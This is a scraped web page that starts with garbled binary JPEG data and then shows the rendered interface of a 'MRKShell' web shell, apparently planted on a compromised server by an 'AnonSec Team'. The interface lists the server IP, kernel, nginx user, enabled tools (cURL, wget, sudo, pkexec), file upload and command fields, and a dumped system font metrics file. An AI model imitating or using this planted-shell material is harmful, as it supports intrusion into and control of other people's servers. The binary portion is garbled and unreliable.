JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 104.21.73.244  /  Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/fonts/urw-base35/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/fonts/urw-base35/StandardSymbolsPS.afm
StartFontMetrics 3.0
Comment Copyright URW Software, Copyright 2015 by URW
Comment Creation Date: 5/31/2016
FontName StandardSymbolsPS
FullName Standard Symbols PS
FamilyName Standard Symbols PS
Weight Regular
ItalicAngle 0.0
IsFixedPitch false
UnderlinePosition -229
UnderlineThickness 46
Version 2.00
Notice URW Software, Copyright 2015 by URW
EncodingScheme FontSpecific
FontBBox -180 -293 1090 1010
CapHeight 673
XHeight 500
Descender 0
Ascender 0
StartCharMetrics 191
C 32 ; WX 250 ; N space ; B 0 0 0 0 ;
C 33 ; WX 333 ; N exclam ; B 128 -13 240 686 ;
C 34 ; WX 713 ; N universal ; B 31 0 681 673 ;
C 35 ; WX 500 ; N numbersign ; B 20 0 481 631 ;
C 36 ; WX 549 ; N existential ; B 25 0 478 673 ;
C 37 ; WX 833 ; N percent ; B 63 -7 771 673 ;
C 38 ; WX 778 ; N ampersand ; B 41 -13 750 675 ;
C 39 ; WX 439 ; N suchthat ; B 48 -13 414 503 ;
C 40 ; WX 333 ; N parenleft ; B 53 -172 300 680 ;
C 41 ; WX 333 ; N parenright ; B 30 -172 277 680 ;
C 42 ; WX 500 ; N asteriskmath ; B 65 127 427 546 ;
C 43 ; WX 549 ; N plus ; B 10 0 539 533 ;
C 44 ; WX 250 ; N comma ; B 56 -120 194 102 ;
C 45 ; WX 549 ; N minus ; B 11 239 535 294 ;
C 46 ; WX 250 ; N period ; B 69 -13 181 100 ;
C 47 ; WX 278 ; N slash ; B 0 0 254 673 ;
C 48 ; WX 500 ; N zero ; B 23 -13 471 686 ;
C 49 ; WX 500 ; N one ; B 117 0 390 673 ;
C 50 ; WX 500 ; N two ; B 25 0 475 686 ;
C 51 ; WX 500 ; N three ; B 39 -13 435 686 ;
C 52 ; WX 500 ; N four ; B 16 0 469 680 ;
C 53 ; WX 500 ; N five ; B 29 -13 443 699 ;
C 54 ; WX 500 ; N six ; B 36 -13 467 685 ;
C 55 ; WX 500 ; N seven ; B 24 -7 448 673 ;
C 56 ; WX 500 ; N eight ; B 54 -13 440 686 ;
C 57 ; WX 500 ; N nine ; B 31 -13 460 686 ;
C 58 ; WX 278 ; N colon ; B 81 -13 193 463 ;
C 59 ; WX 278 ; N semicolon ; B 83 -120 221 463 ;
C 60 ; WX 549 ; N less ; B 26 0 523 522 ;
C 61 ; WX 549 ; N equal ; B 11 142 537 391 ;
C 62 ; WX 549 ; N greater ; B 26 0 523 522 ;
C 63 ; WX 444 ; N question ; B 70 -13 412 686 ;
C 64 ; WX 549 ; N congruent ; B 11 0 537 475 ;
C 65 ; WX 722 ; N Alpha ; B 4 0 684 673 ;
C 66 ; WX 667 ; N Beta ; B 29 0 592 673 ;
C 67 ; WX 722 ; N Chi ; B -9 0 704 673 ;
C 68 ; WX 612 ; N Delta ; B 6 0 608 688 ;
C 69 ; WX 611 ; N Epsilon ; B 32 0 617 673 ;
C 70 ; WX 763 ; N Phi ; B 26 0 742 673 ;
C 71 ; WX 603 ; N Gamma ; B 24 0 609 673 ;
C 72 ; WX 722 ; N Eta ; B 39 0 729 673 ;
C 73 ; WX 333 ; N Iota ; B 32 0 316 673 ;
C 74 ; WX 631 ; N theta1 ; B 18 -13 623 686 ;
C 75 ; WX 722 ; N Kappa ; B 35 0 722 673 ;
C 76 ; WX 686 ; N Lambda ; B 6 0 680 688 ;
C 77 ; WX 889 ; N Mu ; B 28 0 887 673 ;
C 78 ; WX 722 ; N Nu ; B 29 0 720 673 ;
C 79 ; WX 722 ; N Omicron ; B 41 -13 715 686 ;
C 80 ; WX 768 ; N Pi ; B 25 0 745 673 ;
C 81 ; WX 741 ; N Theta ; B 41 -13 715 686 ;
C 82 ; WX 556 ; N Rho ; B 28 0 563 673 ;
C 83 ; WX 592 ; N Sigma ; B 5 0 589 673 ;
C 84 ; WX 611 ; N Tau ; B 33 0 607 673 ;
C 85 ; WX 690 ; N Upsilon ; B -8 0 694 673 ;
C 86 ; WX 439 ; N sigma1 ; B 40 -222 436 513 ;
C 87 ; WX 768 ; N Omega ; B 34 0 736 686 ;
C 88 ; WX 645 ; N Xi ; B 40 0 599 673 ;
C 89 ; WX 795 ; N Psi ; B 15 0 780 686 ;
C 90 ; WX 611 ; N Zeta ; B 44 0 636 673 ;
C 91 ; WX 333 ; N bracketleft ; B 86 -165 299 673 ;
C 92 ; WX 863 ; N therefore ; B 163 -13 701 433 ;
C 93 ; WX 333 ; N bracketright ; B 33 -165 246 673 ;
C 94 ; WX 658 ; N perpendicular ; B 15 0 652 673 ;
C 95 ; WX 500 ; N underscore ; B -2 -252 502 -206 ;
C 96 ; WX 500 ; N radicalex ; B 480 857 1090 913 ;
C 97 ; WX 631 ; N alpha ; B 41 -13 622 513 ;
C 98 ; WX 549 ; N beta ; B 61 -222 515 740 ;
C 99 ; WX 549 ; N chi ; B 12 -210 522 513 ;
C 100 ; WX 494 ; N delta ; B 40 -13 481 740 ;
C 101 ; WX 439 ; N epsilon ; B 22 -13 427 513 ;
C 102 ; WX 521 ; N phi ; B 27 -222 490 686 ;
C 103 ; WX 411 ; N gamma ; B 5 -219 484 513 ;
C 104 ; WX 603 ; N eta ; B 0 -222 527 513 ;
C 105 ; WX 329 ; N iota ; B 0 -13 301 513 ;
C 106 ; WX 603 ; N phi1 ; B 36 -222 587 513 ;
C 107 ; WX 549 ; N kappa ; B 33 0 558 513 ;
C 108 ; WX 549 ; N lambda ; B 24 -13 548 740 ;
C 109 ; WX 576 ; N mu ; B 33 -219 567 500 ;
C 110 ; WX 521 ; N nu ; B -9 -13 475 513 ;
C 111 ; WX 549 ; N omicron ; B 35 -13 501 513 ;
C 112 ; WX 549 ; N pi ; B 10 -13 530 505 ;
C 113 ; WX 521 ; N theta ; B 43 -13 485 686 ;
C 114 ; WX 549 ; N rho ; B 50 -220 490 513 ;
C 115 ; WX 603 ; N sigma ; B 30 -13 588 500 ;
C 116 ; WX 439 ; N tau ; B 10 -13 418 505 ;
C 117 ; WX 576 ; N upsilon ; B 7 -13 535 513 ;
C 118 ; WX 713 ; N omega1 ; B 12 -13 671 589 ;
C 119 ; WX 686 ; N omega ; B 42 -13 684 513 ;
C 120 ; WX 493 ; N xi ; B 27 -222 469 766 ;
C 121 ; WX 686 ; N psi ; B 12 -222 701 513 ;
C 122 ; WX 494 ; N zeta ; B 60 -222 467 756 ;
C 123 ; WX 480 ; N braceleft ; B 58 -169 397 677 ;
C 124 ; WX 200 ; N bar ; B 65 -177 135 673 ;
C 125 ; WX 480 ; N braceright ; B 79 -169 418 677 ;
C 126 ; WX 549 ; N similar ; B 17 196 529 325 ;
C 128 ; WX 790 ; N apple ; B 56 -4 733 808 ;
C 160 ; WX 750 ; N Euro ; B 47 -4 716 671 ;
C 161 ; WX 620 ; N Upsilon1 ; B -2 0 610 687 ;
C 162 ; WX 247 ; N minute ; B 27 476 228 735 ;
C 163 ; WX 549 ; N lessequal ; B 29 0 526 639 ;
C 164 ; WX 167 ; N fraction ; B -180 0 340 673 ;
C 165 ; WX 713 ; N infinity ; B 26 115 688 414 ;
C 166 ; WX 500 ; N florin ; B 2 -174 494 687 ;
C 167 ; WX 753 ; N club ; B 86 -26 660 544 ;
C 168 ; WX 753 ; N diamond ; B 142 -36 600 550 ;
C 169 ; WX 753 ; N heart ; B 117 -33 631 528 ;
C 170 ; WX 753 ; N spade ; B 113 -36 629 591 ;
C 171 ; WX 1042 ; N arrowboth ; B 24 -16 1024 512 ;
C 172 ; WX 987 ; N arrowleft ; B 32 -15 942 511 ;
C 173 ; WX 603 ; N arrowup ; B 45 0 571 910 ;
C 174 ; WX 987 ; N arrowright ; B 49 -15 959 511 ;
C 175 ; WX 603 ; N arrowdown ; B 45 -22 571 888 ;
C 176 ; WX 400 ; N degree ; B 50 380 350 686 ;
C 177 ; WX 549 ; N plusminus ; B 10 0 539 662 ;
C 178 ; WX 411 ; N second ; B 20 476 413 735 ;
C 179 ; WX 549 ; N greaterequal ; B 29 0 526 639 ;
C 180 ; WX 549 ; N multiply ; B 17 9 533 525 ;
C 181 ; WX 713 ; N proportional ; B 27 114 639 416 ;
C 182 ; WX 494 ; N partialdiff ; B 26 -10 462 753 ;
C 183 ; WX 460 ; N bullet ; B 50 155 410 518 ;
C 184 ; WX 549 ; N divide ; B 10 2 536 525 ;
C 185 ; WX 549 ; N notequal ; B 15 -25 540 549 ;
C 186 ; WX 549 ; N equivalence ; B 14 87 538 446 ;
C 187 ; WX 549 ; N approxequal ; B 14 121 527 408 ;
C 188 ; WX 1000 ; N ellipsis ; B 111 -13 889 100 ;
C 189 ; WX 603 ; N arrowvertex ; B 280 -120 336 1010 ;
C 190 ; WX 1000 ; N arrowhorizex ; B -60 220 1050 276 ;
C 191 ; WX 658 ; N carriagereturn ; B 15 -16 602 629 ;
C 192 ; WX 823 ; N aleph ; B 175 0 661 689 ;
C 193 ; WX 686 ; N Ifraktur ; B 10 -54 578 736 ;
C 194 ; WX 795 ; N Rfraktur ; B 26 -16 759 730 ;
C 195 ; WX 987 ; N weierstrass ; B 159 -211 870 574 ;
C 196 ; WX 768 ; N circlemultiply ; B 43 0 733 691 ;
C 197 ; WX 768 ; N circleplus ; B 43 0 733 689 ;
C 198 ; WX 823 ; N emptyset ; B 39 -24 781 718 ;
C 199 ; WX 768 ; N intersection ; B 40 0 732 507 ;
C 200 ; WX 768 ; N union ; B 40 -18 732 489 ;
C 201 ; WX 713 ; N propersuperset ; B 20 0 673 470 ;
C 202 ; WX 713 ; N reflexsuperset ; B 20 -125 673 470 ;
C 203 ; WX 713 ; N notsubset ; B 36 -70 690 540 ;
C 204 ; WX 713 ; N propersubset ; B 37 0 690 470 ;
C 205 ; WX 713 ; N reflexsubset ; B 37 -125 690 470 ;
C 206 ; WX 713 ; N element ; B 45 0 505 470 ;
C 207 ; WX 713 ; N notelement ; B 45 -58 505 555 ;
C 208 ; WX 768 ; N angle ; B 26 -1 738 672 ;
C 209 ; WX 713 ; N gradient ; B 36 0 681 687 ;
C 210 ; WX 790 ; N registerserif ; B 50 -13 740 690 ;
C 211 ; WX 790 ; N copyrightserif ; B 51 -13 741 690 ;
C 212 ; WX 890 ; N trademarkserif ; B 18 269 855 673 ;
C 213 ; WX 823 ; N product ; B 25 -124 803 751 ;
C 214 ; WX 549 ; N radical ; B 10 -35 515 913 ;
C 215 ; WX 250 ; N dotmath ; B 69 209 169 311 ;
C 216 ; WX 713 ; N logicalnot ; B 15 40 680 367 ;
C 217 ; WX 603 ; N logicaland ; B 23 -1 583 476 ;
C 218 ; WX 603 ; N logicalor ; B 30 -1 578 476 ;
C 219 ; WX 1042 ; N arrowdblboth ; B 27 -19 1023 506 ;
C 220 ; WX 987 ; N arrowdblleft ; B 30 -19 939 506 ;
C 221 ; WX 603 ; N arrowdblup ; B 39 0 567 909 ;
C 222 ; WX 987 ; N arrowdblright ; B 45 -19 954 506 ;
C 223 ; WX 603 ; N arrowdbldown ; B 44 0 572 909 ;
C 224 ; WX 494 ; N lozenge ; B 18 -1 466 740 ;
C 225 ; WX 329 ; N angleleft ; B 25 -152 306 757 ;
C 226 ; WX 790 ; N registersans ; B 50 -12 740 679 ;
C 227 ; WX 790 ; N copyrightsans ; B 49 -12 739 679 ;
C 228 ; WX 786 ; N trademarksans ; B 5 277 725 673 ;
C 229 ; WX 713 ; N summation ; B 14 -123 695 752 ;
C 230 ; WX 384 ; N parenlefttp ; B 40 -293 436 926 ;
C 231 ; WX 384 ; N parenleftex ; B 40 -79 92 925 ;
C 232 ; WX 384 ; N parenleftbt ; B 40 -293 436 926 ;
C 233 ; WX 384 ; N bracketlefttp ; B 0 -80 341 926 ;
C 234 ; WX 384 ; N bracketleftex ; B 0 -85 55 925 ;
C 235 ; WX 384 ; N bracketleftbt ; B 0 -80 340 926 ;
C 236 ; WX 494 ; N bracelefttp ; B 201 -75 439 926 ;
C 237 ; WX 494 ; N braceleftmid ; B 14 -85 258 935 ;
C 238 ; WX 494 ; N braceleftbt ; B 201 -70 439 926 ;
C 239 ; WX 494 ; N braceex ; B 201 -79 255 925 ;
C 241 ; WX 329 ; N angleright ; B 21 -152 302 757 ;
C 242 ; WX 274 ; N integral ; B 2 -107 291 916 ;
C 243 ; WX 686 ; N integraltp ; B 332 -83 715 922 ;
C 244 ; WX 686 ; N integralex ; B 332 -88 415 975 ;
C 245 ; WX 686 ; N integralbt ; B 39 -81 415 921 ;
C 246 ; WX 384 ; N parenrighttp ; B 54 -293 450 926 ;
C 247 ; WX 384 ; N parenrightex ; B 398 -70 450 935 ;
C 248 ; WX 384 ; N parenrightbt ; B 54 -293 450 926 ;
C 249 ; WX 384 ; N bracketrighttp ; B 22 -80 360 926 ;
C 250 ; WX 384 ; N bracketrightex ; B 305 -85 360 925 ;
C 251 ; WX 384 ; N bracketrightbt ; B 20 -80 360 926 ;
C 252 ; WX 494 ; N bracerighttp ; B 17 -75 255 926 ;
C 253 ; WX 494 ; N bracerightmid ; B 201 -85 445 935 ;
C 254 ; WX 494 ; N bracerightbt ; B 17 -70 255 926 ;
C -1 ; WX 250 ; N .notdef ; B 0 0 0 0 ;
EndCharMetrics
EndFontMetrics

Anon7 - 2022
AnonSec Team